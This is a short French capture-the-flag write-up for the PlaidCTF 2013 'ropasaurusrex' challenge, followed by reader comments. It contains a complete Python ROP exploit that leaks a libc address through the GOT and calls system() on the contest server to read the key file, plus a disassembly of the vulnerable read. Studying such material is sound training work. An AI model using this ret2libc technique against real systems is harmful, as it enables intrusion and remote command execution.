PlaidCTF 2013 > Ropasaurusrex - pwn 200
Un tout petit write-up sur le cas d'école du ropasaurusrex. C'est un exécutable classique, compilé pour x86. Sa libc est aussi fournie. Il commence à 0x804841d avec un workflow subtil à reverser :
804841d: push %ebp 804841e: mov %esp,%ebp 8048420: and $0xfffffff0,%esp 8048423: sub $0x10,%esp 8048426: call 80483f4 80483f4: push %ebp 80483f5: mov %esp,%ebp 80483f7: sub $0x98,%esp 80483fd: movl $0x100,0x8(%esp) 8048405: lea -0x88(%ebp),%eax 804840b: mov %eax,0x4(%esp) 804840f: movl $0x0,(%esp) 8048416: call 804832c <read@plt> 804841b: leave 804841c: ret 804842b: movl $0x4,0x8(%esp) 8048433: movl $0x8048510,0x4(%esp) 804843b: movl $0x1,(%esp) 8048442: call 804830c <write@plt> 8048447: leave 8048448: ret
C'est donc, comme son nom l'indique, une exploitation ROP, avec un read(0, ebp - 0x88, 0x100) et donc une longueur chaîne rop de 0x74 bytes max. Comme on a read et write dans la plt, on peut simplement leaker une adresse de la GOT pour avoir l'adresse de base de la libc et donc induire l'adresse de n'importe quelle fonction, ensuite, on redéclenche l'overflow en pouvant donc construire n'importe quelle chaîne ret2libc :
#!/usr/bin/python import socket import struct import time HOST = "54.234.151.114" PORT = 1025 s = socket.socket() s.connect((HOST, PORT)) print "[+] Connected" # elf data read_plt = 0x0804832c write_plt = 0x0804830c lsm_got = 0x8049618 relaunch = 0x080483f4 bss_buf = 0x08049628 pop3_ret = 0x80484b6 rop_stack = [ write_plt , relaunch, 1, lsm_got, 0x4 ] s.send('A'*0x8c + "".join([struct.pack("<I", x) for x in rop_stack])) found_lsm = struct.unpack("<I", s.recv(1024)[0:4])[0] # libc data lsm_offset = 0x00016bc0 system_offset = 0x00039450 libc_base = found_lsm - lsm_offset system = libc_base + system_offset print "[+] Founc libc base" rop_stack = [ read_plt , pop3_ret, 0, bss_buf, 1024, system, relaunch, bss_buf ] s.send('A'*0x8c + "".join([struct.pack("<I", x) for x in rop_stack])) time.sleep(1) print "[+] Injecting system() arg" s.sendall("cat /home/ropasaurusrex/key") while 1: x = s.recv(1024) if not x: break print x
D'où le flag : you_cant_stop_the_ropasaurusrex.
execve ne va pas marcher pareil. Il attends en argument des tableaux de chaines de caractères (comme argv et env). Essayer plutôt avec execl par exemple (et ne pas oublier le < du little endian dans le pack).
excellent write's up.
quand je change system avec execve l'exploit ne marche pas !
j'ai mis le ROP comme ca :
rop_stack = [ read_plt , pop3_ret, 0, bss_buf, 1024, execve, relaunch, bss_buf pack("I",0),pack("I",0)]
pouvez-vous me donner la raison ?
merci.